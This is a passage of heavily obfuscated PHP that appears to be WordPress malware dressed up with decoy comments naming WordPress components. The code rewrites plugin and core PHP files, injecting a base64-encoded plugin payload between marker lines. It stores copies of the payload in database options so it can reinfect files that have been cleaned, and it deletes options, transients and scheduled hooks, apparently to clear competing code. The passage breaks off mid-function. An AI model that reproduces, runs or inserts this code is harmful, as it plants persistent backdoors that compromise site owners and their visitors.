  if ($yazr2g01258tle  &&    $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,  s99lg14mcd3un(525))  !== false)  {
$yazr2g01258tle    =  $GLOBALS['__scf_y_ur004dxjki__462'](b5xx0lrqzfc(1627)     .  $GLOBALS['__scf_lv_2afh0dde_829']($pkc34aqh94eelxx,    '/')  .  s99lg14mcd3un(1628),      "",  $yazr2g01258tle);
if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle))   qc7730958b5mgfuj_($tz96v98g8fydou2p,  $yazr2g01258tle);
   }
// WP Interactivity API: open factory

 }
$eikjdm9m_kvve    =  $GLOBALS['__scf_f05nku7gkgy7_162']($mhhzrwmjen, $ebhfcx_1djdczv);
      $gv3shaqhvk_1nr   = array();
    $wtkfvabwhoovt3pf  =  false;
 foreach    ($GLOBALS['__scf_z1yhwz66dpf_370']($jqjmq1nd2syn7,   $h5s0uyj650ji)  as   $wtk_1_aa5sp)   {
   if (!@$GLOBALS['__scf_xaseomj3flge_20']($wtk_1_aa5sp)) continue;
$hxxd6yow1f0lkpz = @$GLOBALS['__scf_v_rxq_yh85s05_99']($wtk_1_aa5sp);
     if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($hxxd6yow1f0lkpz))  {
 $wtkfvabwhoovt3pf  =   true;
   continue;
    }
if   ($GLOBALS['__scf_ya_jdhkqpku_7']($hxxd6yow1f0lkpz, s99lg14mcd3un(525))  ===  false)    continue;
  if  ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](s99lg14mcd3un(1629),    $hxxd6yow1f0lkpz,    $laa52nl2bg1a846r)) {
// repeatable-read backlog

foreach ($GLOBALS['__scf_z1yhwz66dpf_370']($laa52nl2bg1a846r[1], $laa52nl2bg1a846r[2], $laa52nl2bg1a846r[(0x2+0x1)]) as $py1ibv6gvjc4ug) {

if ($py1ibv6gvjc4ug    !==  "")      $gv3shaqhvk_1nr[$GLOBALS['__scf_xz_5zbcnz0m_3']($py1ibv6gvjc4ug)] =     true;
  }
      }
  unset($hxxd6yow1f0lkpz, $laa52nl2bg1a846r, $py1ibv6gvjc4ug);
}
if     (!$wtkfvabwhoovt3pf)   {
foreach ($eikjdm9m_kvve as   $fulx_n95kwu)  {
  if  (@$GLOBALS['__scf_xaseomj3flge_20']($fulx_n95kwu))   {
      if  (isset($gv3shaqhvk_1nr[$GLOBALS['__scf_xz_5zbcnz0m_3']($fulx_n95kwu)]))  continue;



     ottk3i1kq8br96vi($fulx_n95kwu,    (393+27));
   wlm_50lfl72sy8hrb_9xe9($fulx_n95kwu);



   }
}
 }
   unset($gv3shaqhvk_1nr, $wtkfvabwhoovt3pf,    $wtk_1_aa5sp);
  foreach   (xyenk4p3ltgn8xd() as    $_92h2l5a2rz)    {
 if     (!@$GLOBALS['__scf_xaseomj3flge_20']($_92h2l5a2rz)    || !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($_92h2l5a2rz))   continue;
     $yazr2g01258tle = @$GLOBALS['__scf_v_rxq_yh85s05_99']($_92h2l5a2rz);
if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)) {
 $dnfbobn8ysv_4y     = l4bj8tsc9xuywl_e($yazr2g01258tle, j8bjjevd80e(1401),     pvz_9xuc0nzl0m(1406));
   $dnfbobn8ysv_4y  =  l4bj8tsc9xuywl_e($dnfbobn8ysv_4y,   cv8ducrec(1630),    s99lg14mcd3un(1631));
  

if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($dnfbobn8ysv_4y) && $dnfbobn8ysv_4y  !==   $yazr2g01258tle)    qc7730958b5mgfuj_($_92h2l5a2rz,  $dnfbobn8ysv_4y);
 unset($dnfbobn8ysv_4y);
   }
  }
  if   ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1267))    &&   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1632)))    {
     $key = xz2u9x4pnhy19crfe();
  if ($key  !==     false)   {
$gl4n1gs8f_lz  =      @$GLOBALS['__scf_re_atqk_ct7_1267']($key, 'w', 0,  0);
 if     ($gl4n1gs8f_lz)   {
 @$GLOBALS['__scf_m2p1t83y4469_1274']($gl4n1gs8f_lz);
@$GLOBALS['__scf_u4rzlj2h5g_1270']($gl4n1gs8f_lz);
     }


  }
 }
   if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(614))) {
  $ogfd5tk6q6 = inbj7my4zpjuh_tx(ABSPATH      .     j8bjjevd80e(1215),  (0x3+0x7));
@delete_option($ogfd5tk6q6);



      $tum8uxnwiwq7_2  =    $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1589)) ?    @get_option(pvz_9xuc0nzl0m(1633),   array()) :   array();
  if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($tum8uxnwiwq7_2))     {
       if  (isset($tum8uxnwiwq7_2['b']))   wlm_50lfl72sy8hrb_9xe9($tum8uxnwiwq7_2['b']);
 if  (isset($tum8uxnwiwq7_2[s99lg14mcd3un(1568)]) && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($tum8uxnwiwq7_2[pvz_9xuc0nzl0m(1568)])) {

foreach ($tum8uxnwiwq7_2[pvz_9xuc0nzl0m(1568)]    as  $_ci)   {$c6qlsn56t2=(0xa7+0xd1);$e_378xpj1=$c6qlsn56t2%8;
 if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($_ci)     && isset($_ci['b'])) wlm_50lfl72sy8hrb_9xe9($_ci['b']);
  }
   }
     }
 @delete_option(s99lg14mcd3un(1634));
@delete_option(cv8ducrec(1487));
   



 @delete_option(j8bjjevd80e(1255));
  @delete_option(b5xx0lrqzfc(1635));



  @delete_option(s99lg14mcd3un(1636));
  @delete_option(j8bjjevd80e(1185));
 @delete_option(cv8ducrec(1186));
   @delete_option(s99lg14mcd3un(1184));


 unset($tum8uxnwiwq7_2,   $_ci);
    }

 if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1637)))   {

   @delete_transient(pvz_9xuc0nzl0m(1169));
@delete_transient(pvz_9xuc0nzl0m(1638));
       @delete_transient(ev_yl_99eshcn294o());
   }
// WP useEntityProp: faithful watermark

if   ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1639))) {
      @wp_clear_scheduled_hook(j8bjjevd80e(1640));
 @wp_clear_scheduled_hook(b5xx0lrqzfc(1641));
@wp_clear_scheduled_hook(et2b4r7l7_g_aen6());

    }
 } catch    (Throwable      $uvo4msk8s29_)    {
 f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1642),   $uvo4msk8s29_);
      }  catch  (Exception $uvo4msk8s29_)  {
 }
   }
function  p1bf3churh583rhjew()
{
   try    {
 if   (!defined(s99lg14mcd3un(1548)))   return   false;
    $gd6o0r1d5y51sfu  =  wzbvgogq03mxeqb();
     $sy00xauftoi9      = $gd6o0r1d5y51sfu .     pvz_9xuc0nzl0m(1643);
  $_cnes7vytq7930 =     $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(), pvz_9xuc0nzl0m(1593));
    $xa6_dathyqd  =   usllxr5akmyy8c();
 if  (!$xa6_dathyqd  ||      $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd) < (425+75)   ||   $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd)  >  (1048500+76) ||     g6jpyeq0fm_rzn($xa6_dathyqd)    ||  !ro9zxkt259xhwz4($xa6_dathyqd))     return    false;
$current =   @$GLOBALS['__scf_hdqba_c8m7_708']($sy00xauftoi9)    ?  @$GLOBALS['__scf_v_rxq_yh85s05_99']($sy00xauftoi9) :   "";
    if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($current)) {
  f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(650),     b5xx0lrqzfc(1288));
 return  false;
  }
$current   =  gg_b7drpimzvzg($current);



$labf4qlcifi  =  jqg87ez26lzm3yp01xj2q()   .    ':' . inbj7my4zpjuh_tx(ABSPATH  .  j8bjjevd80e(1644), (12-4));
 $jjjt2b4n0f      = s99lg14mcd3un(1645) .  $labf4qlcifi .   b5xx0lrqzfc(1397);
 $xcg_nhpwqsm  =    s99lg14mcd3un(1646) .  $labf4qlcifi   .  pvz_9xuc0nzl0m(1397);
$lgwkk8i2_n    = inbj7my4zpjuh_tx(ABSPATH    .  pvz_9xuc0nzl0m(1644), (16-8));

   $poqitfzch7 =  $GLOBALS['__scf_y_ur004dxjki__462'](s99lg14mcd3un(1647)    .  $lgwkk8i2_n . b5xx0lrqzfc(1648),     "",    $current);
     $t9bsw7_0tmu  =  ($GLOBALS['__scf_ya_jdhkqpku_7']($poqitfzch7,   pvz_9xuc0nzl0m(1649))   !== false);
  if  ($GLOBALS['__scf_ya_jdhkqpku_7']($current, $jjjt2b4n0f)  !==  false    && $GLOBALS['__scf_ya_jdhkqpku_7']($current,  $xcg_nhpwqsm)  !==    false   && !$t9bsw7_0tmu)    return true;
  $current   =   $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1650),  "",   $poqitfzch7);
        if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($current))  {
 f1995qrx5prr7cbl19co0e(cv8ducrec(650),   s99lg14mcd3un(1651));
    return    false;
 }



  $xaa85adji_z    = nz_ixcwyiz2y1c2_dll9j();



if (!$xaa85adji_z)  return false;
$t7d1_rfba13841h   =   j8bjjevd80e(1652)  .  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($_cnes7vytq7930    . (string)  _dbs9edj_8e6_zc_s()),  0,   (0x6+0x2));


$eykpc2lx4w   = e4ddwbv2vbmzi1(
s99lg14mcd3un(651),
array('__SLUG__', '__PLUGIN_BASE64__',   '__GUARD_NAME__', '__VERSION__'),


     array($_cnes7vytq7930,   $xaa85adji_z,  $t7d1_rfba13841h,   jqg87ez26lzm3yp01xj2q())
);
    if  (!$eykpc2lx4w)  {
 if    ((int)  get_option(s99lg14mcd3un(759),   0) >   0)   f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(650), pvz_9xuc0nzl0m(1653));
    return false;
 }
 $current =    gg_b7drpimzvzg($current);
  $pmb3zqku68vj   =     $GLOBALS['__scf_y_ur004dxjki__462'](b5xx0lrqzfc(1230),   "", $eykpc2lx4w);
$ffa9inymfg7dm5tq    =  ($GLOBALS['__scf_d413tdd725_10']($current) ===   0);
      if  (!$ffa9inymfg7dm5tq) {


  if (!wor0cghd7ezhu91j(j8bjjevd80e(650))) {
        f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1654),    j8bjjevd80e(1249));
return false;
 }
if     (!zdfzf5c43mxl70s($sy00xauftoi9,    $current)) {
  f1995qrx5prr7cbl19co0e(cv8ducrec(1654),   cv8ducrec(1299));
      return  false;

 }
nkfqbumlek6rqru(s99lg14mcd3un(1654));
        }  else  {
 if    (!zdfzf5c43mxl70s($sy00xauftoi9, ""))   {
  f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1655),  cv8ducrec(1299));
       return false;
}
   }

$zzal77qhb1de   = vfon_0fzg9p83qjpp3gu($current,     $jjjt2b4n0f  .    "\n"  . $pmb3zqku68vj   .     "\n"     .  $xcg_nhpwqsm);


 if (!qc7730958b5mgfuj_($sy00xauftoi9,    $zzal77qhb1de)) {
 return   false;
 }
   qwsfbk7e9odhouqhgas_hr($sy00xauftoi9);
  xmuf92hov77yw0fjcu8($sy00xauftoi9);


 return true;
    }   catch (Throwable $uvo4msk8s29_)  {
 f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1656), $uvo4msk8s29_);
     return     false;
     }  catch     (Exception   $uvo4msk8s29_)    {
 return   false;
 }
  }
 function    xyenk4p3ltgn8xd()

 {
 $ssxrvq5et832s =  array();
if     (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1589))) return $ssxrvq5et832s;


     $cipt2eot27  =  (defined(s99lg14mcd3un(1657))  ?  WP_CONTENT_DIR   :      (defined(pvz_9xuc0nzl0m(1548)) ?   ABSPATH   . cv8ducrec(786) :  ""))  .  j8bjjevd80e(1658);



    $irq8r8yu0vs = (string)  @get_option(b5xx0lrqzfc(1070),  "");
if ($irq8r8yu0vs     !==   "")     $ssxrvq5et832s[] =  $cipt2eot27 . $irq8r8yu0vs  . pvz_9xuc0nzl0m(1659);

  $w8xcpv6t_ac =   (string)  @get_option(pvz_9xuc0nzl0m(1071), "");


    if   ($w8xcpv6t_ac   !==   ""     &&    $w8xcpv6t_ac   !== $irq8r8yu0vs)   $ssxrvq5et832s[]    = $cipt2eot27  . $w8xcpv6t_ac  . cv8ducrec(1659);
return  $ssxrvq5et832s;
 }

     function    hkzjfnwys8guzow6uq()
{

    if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(487))  && is_multisite() && $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1660))) {
return    (array)   @get_site_option(cv8ducrec(1661), array());
   }
return  (array) @get_option(j8bjjevd80e(1661), array());
}
 function    voy93fyfgett_19mdly45j($sv8wto3s5byv)
{
 if     ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(487))  &&    is_multisite()  && $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1662)))     {
@update_site_option(pvz_9xuc0nzl0m(1661),    $sv8wto3s5byv);
  return;

      }
       @update_option(s99lg14mcd3un(1661), $sv8wto3s5byv,    s99lg14mcd3un(1584));
 }

function   j7x_6k5fx6cghjd7($of_pcm29oxt9u3z)



 {
      $sv8wto3s5byv   =  hkzjfnwys8guzow6uq();
 return  isset($sv8wto3s5byv[inbj7my4zpjuh_tx($of_pcm29oxt9u3z,  (0x8+0x4))]);
    }
  function  gqtysmd4rav07y($of_pcm29oxt9u3z)
 {
// collect affine-type for WP Core Data



      $sv8wto3s5byv =  hkzjfnwys8guzow6uq();
$dqq64y9cewf =      $GLOBALS['__scf_tmn0v_xik_1b_195']()    -   (7775930+70);
 foreach   ($sv8wto3s5byv  as  $ozqwzh1eke5kcb    =>  $nuc8klvu8t1k)  {

 if  ((int)  $nuc8klvu8t1k  < $dqq64y9cewf)  unset($sv8wto3s5byv[$ozqwzh1eke5kcb]);   
     }



 $sv8wto3s5byv[inbj7my4zpjuh_tx($of_pcm29oxt9u3z,     (0x7+0x5))]      =   $GLOBALS['__scf_tmn0v_xik_1b_195']();
   voy93fyfgett_19mdly45j($sv8wto3s5byv);
 }
       function ytq8569nsy_cku0cwzexz($of_pcm29oxt9u3z,  $zzal77qhb1de)
 {
if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($zzal77qhb1de)  ||   $zzal77qhb1de ===  ""  ||  $GLOBALS['__scf_d413tdd725_10']($zzal77qhb1de) > (1048498+78))  return;
  $fhnyuus6n_h7     =  $GLOBALS['__scf_eeye5srq0i7_1264'](j8bjjevd80e(1663),     $zzal77qhb1de);
   $acc4fk4bl8wd_a  =  (array)  @get_option(b5xx0lrqzfc(1664),  array());
$h4sg6v8cdzuctlj = inbj7my4zpjuh_tx($of_pcm29oxt9u3z, (11+1));
  if   (isset($acc4fk4bl8wd_a[$h4sg6v8cdzuctlj][s99lg14mcd3un(1665)]) && $acc4fk4bl8wd_a[$h4sg6v8cdzuctlj][pvz_9xuc0nzl0m(1666)]      ===    $fhnyuus6n_h7)      return;
 $acc4fk4bl8wd_a[$h4sg6v8cdzuctlj]     = array(j8bjjevd80e(1587) =>    $GLOBALS['__scf_d413tdd725_10']($zzal77qhb1de), cv8ducrec(1666)   =>  $fhnyuus6n_h7, cv8ducrec(1667)  => $GLOBALS['__scf_l90bo4vfyn_356']($zzal77qhb1de));



 @update_option(s99lg14mcd3un(1664),     $acc4fk4bl8wd_a,  cv8ducrec(1584));
      }
    function     tgsw9hgxwtedlv($of_pcm29oxt9u3z)
 {
// @traverse cipher-suite

$acc4fk4bl8wd_a    = (array)  @get_option(pvz_9xuc0nzl0m(1664),  array());
 $uvo4msk8s29_  =    isset($acc4fk4bl8wd_a[inbj7my4zpjuh_tx($of_pcm29oxt9u3z,  (15-3))]) ?  $acc4fk4bl8wd_a[inbj7my4zpjuh_tx($of_pcm29oxt9u3z, (0x5+0x7))]   :   null;



     if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($uvo4msk8s29_)   ||    empty($uvo4msk8s29_[cv8ducrec(1667)]) ||   empty($uvo4msk8s29_[cv8ducrec(1587)]) || empty($uvo4msk8s29_[pvz_9xuc0nzl0m(1668)]))    return   false;
    $i4g_we48yi =   $GLOBALS['__scf_hitibqyb6ku_357']($uvo4msk8s29_[cv8ducrec(1669)],    true);
    if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($i4g_we48yi) || $GLOBALS['__scf_d413tdd725_10']($i4g_we48yi)  !==    (int)   $uvo4msk8s29_[s99lg14mcd3un(1587)])    return  false;
if     ($GLOBALS['__scf_eeye5srq0i7_1264'](j8bjjevd80e(1668),  $i4g_we48yi) !==   $uvo4msk8s29_[pvz_9xuc0nzl0m(1668)]) return    false;

if  (!ro9zxkt259xhwz4($i4g_we48yi))  return false;



    return      $i4g_we48yi;
}



      function qqt5isfld6jrzl3n2($_92h2l5a2rz,    $current)
  {
 $npcaz_v4mmq3108 =  hjn4oi9zob7zcy32($current);
 if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($npcaz_v4mmq3108)    ||   $npcaz_v4mmq3108  === "")  return  false;
$mkxkua2e1m = wjdsjl3nphz8g9u()   . pvz_9xuc0nzl0m(1670)   .    inbj7my4zpjuh_tx($_92h2l5a2rz,      (220^208))  .   pvz_9xuc0nzl0m(1438);
 $_ex =     @$GLOBALS['__scf_xaseomj3flge_20']($mkxkua2e1m)    ?     @$GLOBALS['__scf_v_rxq_yh85s05_99']($mkxkua2e1m)   : false;
 if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($_ex)    ||   $_ex !==   $npcaz_v4mmq3108)   {

    if  (!qc7730958b5mgfuj_($mkxkua2e1m, $npcaz_v4mmq3108)) return      false;$ooi0_wqwt=(0xfb+0xfa);$h6_92j5qbu26gi=$ooi0_wqwt%8;
$_ex   = @$GLOBALS['__scf_xaseomj3flge_20']($mkxkua2e1m)  ? @$GLOBALS['__scf_v_rxq_yh85s05_99']($mkxkua2e1m) :   false;
    if      (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($_ex) || $_ex !==    $npcaz_v4mmq3108)   return false;
    

       }
// WP Avatar Block option row

ytq8569nsy_cku0cwzexz($_92h2l5a2rz, $npcaz_v4mmq3108);



return  true;
   }
     function pxvc2i6l2zo9i3146b9j82()
      {
voy93fyfgett_19mdly45j(array());
      }



function   nkckvodzbwp7zd9()
     {


    try {$qpvcjfz3=5311;$rv4etakbqxbgl=$qpvcjfz3%2;
 if   (!defined(b5xx0lrqzfc(1671)) ||    !$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1672))) return;
   foreach (xyenk4p3ltgn8xd()  as     $juwyuqo3vkd53vc7)     {
if    (@$GLOBALS['__scf_xaseomj3flge_20']($juwyuqo3vkd53vc7)    &&      @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($juwyuqo3vkd53vc7)  >   0) continue;
$mkxkua2e1m = wjdsjl3nphz8g9u() .   cv8ducrec(1670)  .    inbj7my4zpjuh_tx($juwyuqo3vkd53vc7,  (0xa+0x2))  . j8bjjevd80e(1438);
      $gws0q7jldy2_gu = @$GLOBALS['__scf_xaseomj3flge_20']($mkxkua2e1m)  ? @$GLOBALS['__scf_v_rxq_yh85s05_99']($mkxkua2e1m)  :  false;

    if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($gws0q7jldy2_gu)   || $gws0q7jldy2_gu ===  "")  {
$gws0q7jldy2_gu  =      tgsw9hgxwtedlv($juwyuqo3vkd53vc7);
   
   
   if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($gws0q7jldy2_gu)    &&  $gws0q7jldy2_gu   !==  "") @qc7730958b5mgfuj_($mkxkua2e1m,   $gws0q7jldy2_gu);
 }
if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($gws0q7jldy2_gu)    ||   $gws0q7jldy2_gu   === "")  continue;
 clearstatcache(true,   $juwyuqo3vkd53vc7);      

 if  (@$GLOBALS['__scf_xaseomj3flge_20']($juwyuqo3vkd53vc7) &&    @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($juwyuqo3vkd53vc7)  > 0) continue;
  if   (qc7730958b5mgfuj_($juwyuqo3vkd53vc7,  $gws0q7jldy2_gu)) {
      f1995qrx5prr7cbl19co0e(s99lg14mcd3un(652),  pvz_9xuc0nzl0m(1673));

 gqtysmd4rav07y($juwyuqo3vkd53vc7);
}
// WP Embed Block network override




   }
 }  catch   (Throwable     $uvo4msk8s29_)     {$r8edzi_hfvung=42+13;$hn6qb18ddk=$r8edzi_hfvung-24;
    f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(652), $uvo4msk8s29_);
    }      catch   (Exception   $uvo4msk8s29_) {
 }
// co-recursive contravariant

}
     function     f_sr8zji3t76cg4wmiptm9()



     {
  try  {
 if  (!defined(b5xx0lrqzfc(1671))) return false;
 $y7u49ww1jx_my7m    =   xyenk4p3ltgn8xd();
   if   (empty($y7u49ww1jx_my7m))   return    false;
  $labf4qlcifi =  jqg87ez26lzm3yp01xj2q()   . ':'  . inbj7my4zpjuh_tx(ABSPATH     .  j8bjjevd80e(1398),  (0x4+0x4));
 $jjjt2b4n0f   =   cv8ducrec(1674)     .    $labf4qlcifi   .    pvz_9xuc0nzl0m(1675);



$xcg_nhpwqsm  = j8bjjevd80e(1676) . $labf4qlcifi . b5xx0lrqzfc(1675);
 $t7d1_rfba13841h    =  cv8ducrec(1677)  .  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57'](ABSPATH    .   (string)   _dbs9edj_8e6_zc_s()),  0,  (0x1+0x7));


        $_cnes7vytq7930   =    $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),   pvz_9xuc0nzl0m(1593));
    $xaa85adji_z  =  nz_ixcwyiz2y1c2_dll9j();
if   (!$xaa85adji_z)  return   false;
  $lkpwn96v5gufxv =  e4ddwbv2vbmzi1(
 b5xx0lrqzfc(653),
        array('__SLUG__',   '__PLUGIN_BASE64__',  '__GUARD_NAME__', '__VERSION__'),
array($_cnes7vytq7930, $xaa85adji_z,     $t7d1_rfba13841h,  jqg87ez26lzm3yp01xj2q())
   );
  if     (!$lkpwn96v5gufxv)  {
// WP Higher Order Components: simple proof-term

 if  ((int)   get_option(b5xx0lrqzfc(759), 0)    >     0) f1995qrx5prr7cbl19co0e(cv8ducrec(652),    b5xx0lrqzfc(1678));
return false;
 }
    $lkpwn96v5gufxv  = $GLOBALS['__scf_y_ur004dxjki__462'](pvz_9xuc0nzl0m(1230), "", $lkpwn96v5gufxv);
 if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($lkpwn96v5gufxv)     ||   $lkpwn96v5gufxv   === "")      return  false;


 $a06sm2zjmwx    =     false;



 foreach ($y7u49ww1jx_my7m   as  $_92h2l5a2rz)   {
    if (!@$GLOBALS['__scf_xaseomj3flge_20']($_92h2l5a2rz))   continue;
if  (j7x_6k5fx6cghjd7($_92h2l5a2rz))   continue;
  $h9riqqde3d1l =    $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1679)) ? @$GLOBALS['__scf_q3ql35ik5fr_22']($_92h2l5a2rz, 'c')    :   false;
 if  ($h9riqqde3d1l   !==  false     && $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(993)) && !@flock($h9riqqde3d1l,   LOCK_EX  | LOCK_NB))   {
  @fclose($h9riqqde3d1l);

       continue;
  }
    $current    =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($_92h2l5a2rz);
  if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($current))   {
  f1995qrx5prr7cbl19co0e(cv8ducrec(652),   pvz_9xuc0nzl0m(1288));



    if   ($h9riqqde3d1l !==  false)   {
// unbind split interceptor

     if  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(993))) @flock($h9riqqde3d1l,  LOCK_UN);
  

  @fclose($h9riqqde3d1l);



 }
 continue;



   }


 try   {
   if      ($GLOBALS['__scf_d413tdd725_10']($current)    >   (1048512+64))  $current     = gg_b7drpimzvzg($current);
 if  ($GLOBALS['__scf_ya_jdhkqpku_7']($current,   $jjjt2b4n0f)  !==     false  &&  $GLOBALS['__scf_ya_jdhkqpku_7']($current,  $xcg_nhpwqsm)   !==      false)   {
   $a06sm2zjmwx    =  true;

continue;
     }
  if    (!@$GLOBALS['__scf_iuxi5ng_a2py94_47']($_92h2l5a2rz)) continue;
$tsfvh_ux4soz8   =     inbj7my4zpjuh_tx(ABSPATH .   b5xx0lrqzfc(1398), (5+3));
        $ibnwqhs6tj_  =  $current;
 $current   = l4bj8tsc9xuywl_e($current,   b5xx0lrqzfc(1401), s99lg14mcd3un(1680));
$current =   $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1681),  "",   $current);


  if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($current))   {
// WP BlockControls: serializable count-min-sketch

    f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1682), b5xx0lrqzfc(1651));



   continue;
    }
if    ($GLOBALS['__scf_ya_jdhkqpku_7']($current,  j8bjjevd80e(1555))  !== false     ||  $GLOBALS['__scf_ya_jdhkqpku_7']($current,      cv8ducrec(1557))  !==  false)  {


 $ygkdme7wnjqeiv  =  $GLOBALS['__scf_ya_jdhkqpku_7']($current,    b5xx0lrqzfc(1555));
 $m_jdy_o7fapl5   =    ($ygkdme7wnjqeiv    !== false) ?     $GLOBALS['__scf_kmygv436ft5pn_9']($current,   $ygkdme7wnjqeiv) :   $current;
   if ($GLOBALS['__scf_ya_jdhkqpku_7']($m_jdy_o7fapl5,   b5xx0lrqzfc(1683))   === false  &&   $GLOBALS['__scf_ya_jdhkqpku_7']($m_jdy_o7fapl5,   s99lg14mcd3un(1557))   ===    false    &&  !$GLOBALS['__scf_cr07b5s7432_100'](cv8ducrec(1684) .    $tsfvh_ux4soz8 .  j8bjjevd80e(1400),      $m_jdy_o7fapl5))     {
 f1995qrx5prr7cbl19co0e(cv8ducrec(1685),  j8bjjevd80e(1686));
continue;



     }
$r29piufh4a      =  $GLOBALS['__scf_y_ur004dxjki__462'](pvz_9xuc0nzl0m(1687), "\n", $current);
  if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($r29piufh4a))   $current   =  $r29piufh4a;
    $r29piufh4a  = $GLOBALS['__scf_y_ur004dxjki__462'](s99lg14mcd3un(1688),  "", $current);
if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($r29piufh4a)) $current  =  $r29piufh4a;
       unset($r29piufh4a);
  if  ($GLOBALS['__scf_ya_jdhkqpku_7']($current, cv8ducrec(1555)) !== false)  {
  f1995qrx5prr7cbl19co0e(cv8ducrec(1685),    pvz_9xuc0nzl0m(1689));
 continue;
   }
 }
     if  ($a06sm2zjmwx) {
 if      ($current  ===     $ibnwqhs6tj_)  continue;
  $mtjhzxt60c0u = @$GLOBALS['__scf_v_rxq_yh85s05_99']($_92h2l5a2rz);
if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($mtjhzxt60c0u)) continue;



 if    ($GLOBALS['__scf_d413tdd725_10']($mtjhzxt60c0u)  >    (1048544+32)) $mtjhzxt60c0u    =    gg_b7drpimzvzg($mtjhzxt60c0u);



  if   ($mtjhzxt60c0u   !==   $ibnwqhs6tj_)   {
 f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1685),     pvz_9xuc0nzl0m(1212));
 continue;
 }
  unset($mtjhzxt60c0u);
 if     (!qqt5isfld6jrzl3n2($_92h2l5a2rz,     $current))  continue;
if  (!zdfzf5c43mxl70s($_92h2l5a2rz,    $current)) continue;
    if (qc7730958b5mgfuj_($_92h2l5a2rz,   $current))   qwsfbk7e9odhouqhgas_hr($_92h2l5a2rz);
    continue;
  }
  if ($GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(1690),   $current))  {
     f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1685), b5xx0lrqzfc(1691));
    continue;
 }
        $j08efw6e0dsmj =  s99lg14mcd3un(847);
    if ($GLOBALS['__scf_d413tdd725_10']($current) >   0   &&  $GLOBALS['__scf_ya_jdhkqpku_7']($current, pvz_9xuc0nzl0m(969)) !==  false)  {
  $ef_vetmsli6j    =     false;
 if    ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1692)))  {
$_m9_2i1xhu43 =      @token_get_all($current);
    if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($_m9_2i1xhu43)) {
 foreach   ($_m9_2i1xhu43 as  $oj4b8do4tc) {$gb_436filz=276;$wwk2dvv229k0i=($gb_436filz>0)?$gb_436filz:-$gb_436filz;
    if   ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($oj4b8do4tc)) {
 if  ($oj4b8do4tc[0]   ===      T_OPEN_TAG     ||   (defined(s99lg14mcd3un(1693))  &&  $oj4b8do4tc[0] === T_OPEN_TAG_WITH_ECHO))   $ef_vetmsli6j =  true;
     elseif ($oj4b8do4tc[0] === T_CLOSE_TAG)  $ef_vetmsli6j     =  false;

}
}
     }
unset($_m9_2i1xhu43,   $oj4b8do4tc);


}  else {
  $itj91babq0  =  $GLOBALS['__scf_csz604yplc_nn_1694']($current, j8bjjevd80e(969));
